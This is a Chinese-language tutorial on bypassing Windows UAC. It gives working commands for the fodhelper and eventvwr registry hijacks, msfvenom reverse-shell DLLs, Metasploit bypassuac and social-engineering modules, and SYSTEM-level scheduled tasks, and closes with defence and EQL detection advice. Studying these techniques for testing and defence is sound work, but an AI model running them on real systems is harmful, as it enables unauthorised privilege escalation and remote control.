Windows bypassUAC 提權技法詳解(一)

引言

用戶賬戶控制(User Account Control, 簡稱 UAC)是微軟自 Windows Vista 起引入的一項安全功能,旨在通過要求用戶在執行需要管理員權限的操作時進行確認,從而防止未經授權的系統更改。UAC 的設計初衷是提高系統安全性,防止惡意軟件在未經用戶許可的情況下篡改系統配置、安裝軟件或執行高權限操作。然而,對于安全研究人員、滲透測試人員來說,UAC 的存在可能成為權限提升過程中的一道障礙。因此,繞過 UAC(UAC Bypass)成為 Windows 權限提升領域的一個重要研究方向。

本文將詳細探討 Windows UAC 的工作原理、不同權限級別下管理員賬戶的行為,以及多種 UAC 繞過技術的實現方法和適用場景。


一、UAC 的工作原理與權限級別

1.1 UAC 的核心機制

UAC 的核心是通過強制執行權限分離和用戶交互來限制未經授權的操作。當用戶嘗試執行需要管理員權限的操作(如修改系統文件、安裝軟件或運行特定管理工具)時,UAC 會觸發以下行為:

  1. 權限驗證:UAC 檢查當前用戶的權限級別。如果用戶是普通用戶,會要求輸入管理員憑據;如果是 Administrators 組成員,則會彈出確認提示。
  2. 完整性級別(Integrity Level):Windows 使用完整性級別(Low、Medium、High)來區分進程的權限。普通進程默認運行在 Medium 完整性級別,而需要管理員權限的進程則運行在 High 完整性級別。UAC 確保只有通過驗證的進程才能提升至 High 完整性級別。
  3. 自動提升(Auto-Elevation):某些微軟簽名的可執行文件(如 fodhelper.exeeventvwr.exe)被標記為“自動提升”,可以在特定條件下無需 UAC 提示直接運行在 High 完整性級別。這些特性常被 UAC 繞過技術利用。

1.2 UAC 的設置級別

UAC 的行為受系統設置影響,Windows 提供了四種 UAC 級別:

  1. 始終通知(Always Notify):最高級別,任何需要管理員權限的操作都會觸發 UAC 提示,即使是 Administrators 組用戶也需要確認。
  2. 僅在程序嘗試更改計算機時通知(默認設置):僅在非微軟簽名的程序嘗試執行高權限操作時提示,適用于大多數 Administrators 組用戶。
  3. 僅在程序嘗試更改計算機時通知(不調暗桌面):與默認設置類似,但不切換到安全桌面,安全性稍低。
  4. 從不通知(Never Notify):關閉 UAC,Administrators 組用戶無需確認即可運行高權限操作,但仍需手動觸發“以管理員身份運行”。

1.3 500 管理員賬戶與 Administrators 組用戶

在 Windows 系統中,管理員賬戶分為兩類:

  • 500 管理員賬戶(內置 Administrator):這是 Windows 系統默認的內置管理員賬戶(SID 以 S-1-5-21-*-500 結尾)。當 UAC 啟用時,該賬戶在“從不通知”模式下可以直接以 High 完整性級別運行進程,無需 UAC 提示。通過工具如 psexec.exe,500 管理員賬戶可以直接提升至 SYSTEM 權限。例如:

    psexec.exe -i -accepteula -s cmd.exe
    

    上述命令使用 psexec.exe 啟動一個 SYSTEM 權限的命令提示符。

  • Administrators 組用戶:這些用戶是 Administrators 組的成員,但受 UAC 管控。在默認或更高 UAC 設置下,運行高權限操作時會觸發 UAC 提示。繞過 UAC 是此類用戶提權的關鍵。


二、UAC 繞過技術的分類與實現

UAC 繞過技術通常利用 Windows 系統中的漏洞、可信執行路徑或社會工程學手段來實現權限提升。以下是常見的 UAC 繞過方法,結合具體實現和適用場景進行分析。

2.1 自動提升可執行文件(Auto-Elevated Binaries)

許多 Windows 自帶的可執行文件被標記為“自動提升”,可以在特定條件下無需 UAC 提示直接運行在 High 完整性級別。攻擊者通過修改這些文件的執行路徑或注冊表配置,誘導系統執行惡意代碼。常見的目標包括 fodhelper.exeeventvwr.exesdclt.exe

2.1.1 Fodhelper 繞過

fodhelper.exe 是一個用于管理 Windows 可選功能的工具,具備自動提升特性。攻擊者可以通過修改注冊表,劫持其執行路徑以運行自定義命令。以下是一個典型的手動實現步驟:

  1. 檢查權限

    whoami /all
    

    確認當前用戶在 Administrators 組且處于 Medium 完整性級別。

  2. 修改注冊表

    New-Item -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force
    Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "(Default)" -Value "cmd.exe /c start powershell.exe"
    Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value ""
    
  3. 觸發執行

    Start-Process fodhelper.exe
    

此方法通過注冊表劫持 ms-settings 的默認打開命令,使得 fodhelper.exe 執行時啟動 cmd.exe 或其他惡意 payload,從而獲得 High 完整性級別的進程。

2.1.2 Eventvwr 繞過

eventvwr.exe(事件查看器)是另一個自動提升的可執行文件,可通過修改注冊表中的 mscfile 鍵來執行惡意命令。實現步驟如下:

  1. 確認自動提升特性

    strings64.exe -accepteula C:\Windows\System32\eventvwr.exe | findstr /i autoelevate
    

    驗證 eventvwr.exe 是否支持自動提升(結果應包含 true)。

  2. 修改注冊表

    reg add "HKCU\Software\Classes\mscfile\shell\open\command" /t REG_SZ /d "cmd.exe /c start C:\Path\To\payload.exe" /f
    
  3. 執行觸發

    eventvwr.exe
    

完成后,eventvwr.exe 會啟動指定的 payload.exe,獲得高權限 shell。

2.2 DLL 劫持(DLL Hijacking)

DLL 劫持利用 Windows 的 DLL 加載順序,誘導自動提升的程序加載惡意 DLL 文件,從而執行高權限代碼。以下是一個典型案例:

  1. 尋找目標程序
    找到一個自動提升的程序(如 fodhelper.exe)并檢查其依賴的 DLL 文件。例如,使用 Process Monitor 觀察程序加載的 DLL。

  2. 創建惡意 DLL
    使用工具如 MSFvenom 生成惡意 DLL:

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o malicious.dll
    
  3. 放置惡意 DLL
    malicious.dll 放置在目標程序的搜索路徑中(例如 C:\Windows\System32 的可寫子目錄)。

  4. 觸發執行
    運行目標程序,加載惡意 DLL,從而獲得高權限 shell。

DLL 劫持的優點是隱蔽性強,但需要目標程序存在 DLL 加載漏洞,且在高 UAC 級別(如“始終通知”)下可能失效。

2.3 環境變量操縱

通過修改環境變量(如 PATHwindir),攻擊者可以重定向可信程序的執行路徑。例如,修改 windir 環境變量以指向偽造的系統目錄:

  1. 修改環境變量

    set windir=C:\Malicious
    
  2. 放置惡意文件
    C:\Malicious\System32 中放置偽造的 cmd.exe 或其他可執行文件。

  3. 觸發可信程序
    運行一個依賴 windir 的自動提升程序(如 CDSSync 任務),誘導其加載惡意文件。

此方法在非“始終通知”級別下有效,但在高安全設置下可能被檢測。

2.4 Metasploit 的 UAC 繞過模塊

Metasploit 提供了多個 UAC 繞過模塊,簡化了提權過程。以下是兩個常用模塊的介紹:

2.4.1 exploit/windows/local/bypassuac_injection

此模塊利用可信發布者證書通過進程注入繞過 UAC,生成一個無 UAC 提示的高權限 shell。使用步驟:

  1. 啟動 Meterpreter 會話

    msfconsole
    use multi/handler
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST 192.168.1.100
    set LPORT 4444
    exploit
    
  2. 使用 bypassuac_injection 模塊

    use exploit/windows/local/bypassuac_injection
    set SESSION 1
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST 192.168.1.100
    set LPORT 4445
    exploit
    
  3. 結果
    模塊會注入惡意代碼到自動提升的進程中,生成一個高權限的 Meterpreter 會話。

2.4.2 exploit/windows/local/ask

在“始終通知”級別下,UAC 繞過變得困難,ask 模塊通過社會工程學誘導用戶點擊 UAC 提示來提權。使用步驟:

  1. 啟動 Meterpreter 會話(同上)。

  2. 使用 ask 模塊

    use exploit/windows/local/ask
    set SESSION 1
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST 192.168.1.100
    set LPORT 4446
    exploit
    
  3. 誘導用戶交互
    模塊會觸發 UAC 提示,偽裝為合法操作(如系統更新),誘導目標點擊“確認”。

此方法依賴用戶交互,適用于社會工程學場景,但成功率受目標警惕性影響。


三、不同 UAC 設置下的適用策略

3.1 非“始終通知”級別

在默認或較低 UAC 設置下,Administrators 組用戶可以通過以下方法繞過 UAC:

  • 自動提升可執行文件:如 fodhelper.exeeventvwr.exe 等,利用注冊表劫持快速提權。
  • DLL 劫持:利用 DLL 加載順序漏洞,隱蔽性較高。
  • Metasploit 模塊bypassuac_injection 等模塊提供自動化提權方案。
  • 環境變量操縱:通過修改 windirPATH 實現路徑重定向。

3.2 “始終通知”級別

在最高 UAC 級別下,繞過 UAC 通常需要用戶交互,推薦策略包括:

  • Metasploit ask 模塊:通過偽裝合法提示誘導用戶確認。
  • 社會工程學:利用偽裝的更新提示或釣魚郵件誘導用戶點擊 UAC 提示。
  • 計劃任務:創建高權限計劃任務,繞過 UAC 提示:
    schtasks /create /tn "MaliciousTask" /tr "C:\Path\To\payload.exe" /sc once /st 00:00 /ru SYSTEM
    schtasks /run /tn "MaliciousTask"
    

四、防御與檢測 UAC 繞過

4.1 防御措施

  1. 啟用“始終通知”級別:確保所有高權限操作都需要用戶確認。
  2. 限制 Administrators 組成員:減少非必要管理員賬戶,降低提權風險。
  3. 監控注冊表更改:關注 HKCU\Software\Classes 和環境變量相關鍵的修改。
  4. 使用安全軟件:部署 EDR(如 Elastic Endpoint)檢測 DLL 劫持和異常進程行為。

4.2 檢測方法

  1. EQL 查詢
    使用 Elastic Query Language(EQL)檢測 DLL 劫持:

    sequence by host.id
    [file where event.action in ("creation", "overwrite", "rename", "modification") and process.name : "dllhost.exe"]
    [library where user.id : "S-1-5-18" and not (dll.code_signature.subject_name : "Microsoft *")]
    
  2. 監控自動提升進程
    檢查 fodhelper.exeeventvwr.exe 等進程的異常子進程創建。

  3. 日志分析
    分析事件日志中的 UAC 相關條目,檢測異常的權限提升行為。


五、總結

Windows UAC 繞過技術是權限提升領域的重要研究方向,對于安全研究和滲透測試具有重要意義。500 管理員賬戶在“從不通知”模式下可以直接提權至 SYSTEM,而 Administrators 組用戶則需根據 UAC 設置選擇合適的繞過方法。在非“始終通知”級別下,自動提升可執行文件、DLL 劫持和環境變量操縱是主流技術;在最高 UAC 級別下,社會工程學和 ask 模塊成為主要手段。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/95508.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/95508.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/95508.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

OpenCV ------圖像基礎處理(一)

在 OpenCV 的圖像處理世界中,除了圖像邊框處理,還有一些基礎且重要的函數和運算,它們在圖像編輯、融合等場景中發揮著關鍵作用。下面我們就來詳細介紹cv2.copyMakeBorder()函數的具體參數與作用,以及圖像加法運算和加權運算的相關…

Unity寶箱隨機事件實現指南

目錄 前言 一、簡單的使用 新增ChestInteractableEvents,定義寶箱交互事件 新增Box 箱子掛載腳本,配置事件 運行效果 二、完善各種事件 1. 完善生成金幣事件 效果,金幣飛出 2. 完善生成敵人事件敵人 效果 3. 完善生成藥水事件 效…

從單機到分布式:用飛算JavaAI構建可擴展的TCP多人聊天系統

1. 引言:飛算JavaAI與實時通信技術的融合 1.1 為什么需要TCP多人聊天室? 在即時通訊領域,基于TCP協議的聊天室是理解網絡編程核心概念的經典案例,其技術價值體現在: 底層協議控制:直接操作Socket實現可靠數…

用 mock 把 ES 單元測試@elastic/elasticsearch-mock 上手

一、為什么“單元測 ES”這么別扭? 測試 ES 代碼時,最直覺的做法是連真集群做集成測試(Docker 起個 ES),但: 啟動 & 數據裝填慢,不利于并行;網絡/磁盤抖動影響穩定性&#xff1b…

《嵌入式Linux應用編程(三):Linux文件IO系統調用深度解析》

今日學習內容1. 文件IO與標準IO核心對比特性標準IO文件IO實現層C標準庫Linux內核系統調用緩沖機制全緩沖/行緩沖無緩沖(實時讀寫)操作對象FILE*流指針整型文件描述符(fd)移植性跨平臺兼容Linux特有典型應用場景普通文件操作硬件設…

數據結構之順序表相關算法題

目錄一、移除元素二、刪除有序數組中的重復項三、合并兩個有序數組總結一、移除元素 移除元素 - 力扣 思路一:就是創建一個臨時數組,對原數組進行遍歷,找出與val不同的數據放到新數組里,然后再將tmp中的數據導回原數組 這個思…

百勝軟件×華為云聯合賦能,“超級國民品牌”海瀾之家新零售加速前行

報道顯示,早在2012年海瀾之家就開始布局數字化征程,并于近年對公司全流程信息化進行綜合重構升級優化,在采銷協同、業財一體等方面突破原有架構,通過信息化架構的增強為業務發展提供支撐。作為新零售重要組成部分的海瀾電商信息化…

“Zen 5”: The AMD High-Performance 4nm x86-64 Microprocessor Core

Codenamed “Zen 5,” AMD’s next-generation, energy-efficient high-performance x86 core targets a wide array of client, server, and embedded markets. Fabricated in TSMC’s 4nm FinFET process, the 55mm2 core complex (CCX), shown in Fig. 2.1.1., contains 8.6…

Linux數據庫:【表的約束】【表的基本查詢】

目錄 一.表的約束 1.1空屬性 not null 1.2默認值 default ?空屬性和默認值一起使用? 1.3列描述 comment 1.4 zerofill 1.5 主鍵 1.6 自增長 1.7 唯一鍵 1.8 外鍵 二. 表的基本查詢 2.1 Create 2.1.1單行數據 全列插入 2.1.2多行數據 指定列插入 2…

AJAX RSS Reader

AJAX RSS Reader 引言 隨著互聯網的快速發展,信息量的爆炸式增長,用戶對信息獲取的便捷性和實時性提出了更高的要求。RSS(Really Simple Syndication)作為一種信息聚合技術,已經廣泛應用于新聞、博客、論壇等網絡平臺。AJAX(Asynchronous JavaScript and XML)技術則提…

從實驗室到落地:飛算JavaAI水位監測系統的工程化實踐

一、飛算JavaAI平臺簡介飛算JavaAI是國內領先的軟件開發智能平臺,通過AI技術賦能軟件開發全流程,幫助開發者實現"一人一項目,十人抵百人"的高效開發模式。平臺核心優勢包括: 智能代碼生成:基于自然語言描述自…

前端Vite介紹(現代化前端構建工具,由尤雨溪開發,旨在顯著提升開發體驗和構建效率)ES模塊(ESM)、與傳統Webpack對比、Rollup打包

文章目錄**1. 核心特性**- **極速啟動**:- **按需編譯與熱模塊替換(HMR)**:- **開箱即用**:- **生產環境優化**:- **插件系統**:**2. 工作原理****開發模式**- **基于 ESM 的按需加載**&#xf…

python sqlite3模塊

十分想念順店雜可。。。Python 的sqlite3模塊是標準庫中用于操作SQLite 數據庫的工具。SQLite 是一款輕量級嵌入式數據庫(無需獨立服務器,數據存儲在單一文件中),適合小型應用、本地數據存儲或原型開發。sqlite3模塊提供了完整的 …

用 Python 繪制企業年度財務可視化報告 —— 從 Excel 到 9 種圖表全覆蓋

用 Python 繪制企業年度財務可視化報告 —— 從 Excel 到 9 種圖表全覆蓋在企業經營分析中,光看一堆財務數字很難直觀發現規律和問題。 如果能將這些數據轉化為可視化圖表,不僅更美觀,還能幫助管理層快速做出決策。今天,我就用 Py…

一次 Unity ? Android 基于 RSA?OAEP 的互通踩坑記

這篇分享,記錄我如何從“Base64 報錯/平臺不支持/解密失敗”一路定位到“填充算法不一致”的根因,并給出兩條穩定落地方案。同時整理了調試手冊、代碼片段和上線前自檢清單,方便你復用。 背景 Unity 端用公鑰加密一段緊湊 JSON(i…

Go語言GC機制:高效并發回收解析

Go 語言的垃圾回收(Garbage Collection,簡稱 GC)是其自動內存管理的核心機制,旨在自動識別并回收不再被使用的內存,避免內存泄漏,減輕開發者的手動內存管理負擔。Go 的 GC 算法經歷了多次迭代優化&#xff…

imx6ull-驅動開發篇23——Linux 內核定時器實驗

目錄 實驗程序編寫 修改設備樹文件 定時器驅動程序 timer.c 測試 timerApp.c Makefile 文件 運行測試 實驗程序編寫 本講實驗,我們使用正點原子I.MX6U-ALPHA 開發板,通過linux內核定時器周期性的點亮和熄滅開發板上的 LED 燈, LED 燈…

IPTV系統:開啟視聽與管理的全新篇章

在當今數字化飛速發展的時代,IPTV系統正以前所未有的姿態,重塑著我們的視聽體驗與管理模式。它不僅僅是一套技術系統,更是連接信息、溝通情感、提升效率的橋梁,為各個領域帶來了全新的變革與發展機遇。從電視直播的角度來看&#…

PyTorch筆記9----------Cifar10圖像分類

1.圖像分類網絡模型框架解讀 分類網絡的基本結構 數據加載模塊:對訓練數據加載數據重組:組合成網絡需要的形式,例如預處理、增強、各種網絡處理、loss函數計算優化器 數據加載模塊 使用公開數據集:torchvision.datasets使用自定義…

飛凌OK3568開發板QT應用程序編譯流程

飛凌OK3568開發板QT應用程序編譯流程開發環境:ubuntu20.04(主機)、飛凌OK3568開發板一般在linux系統下開發用于ARM開發板的QT應用程序時,直接在主機上開發然后進行交叉編譯即可,但有時候ARM開發板的廠家提供的SDK中可能…